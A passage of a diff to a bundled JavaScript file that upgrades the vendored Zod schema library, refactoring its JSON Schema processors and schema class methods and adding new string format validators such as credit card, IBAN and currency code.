json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -100986,35 +105538,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_3, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -101022,32 +105594,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -101092,14 +105664,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_3, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -101111,7 +105683,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -101122,12 +105694,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -101137,6 +105709,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -101180,7 +105753,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -101195,6 +105768,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result2 = finalize(this.ctx, schema); const { "~standard": _3, ...plainResult } = result2; @@ -101202,10 +105777,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -101221,6 +105796,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -101234,8 +105810,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -101291,10 +105873,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -101311,6 +105895,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -101376,7 +105961,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -101399,6 +105984,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -101410,88 +105996,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -101505,182 +106056,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group2, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group2)) - return; - installed.add(group2); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -101726,38 +106297,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -101766,6 +106389,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -101805,8 +106444,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -101915,6 +106554,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -101930,10 +106583,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -101943,11 +106599,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -101993,14 +106667,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -102031,28 +106699,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - 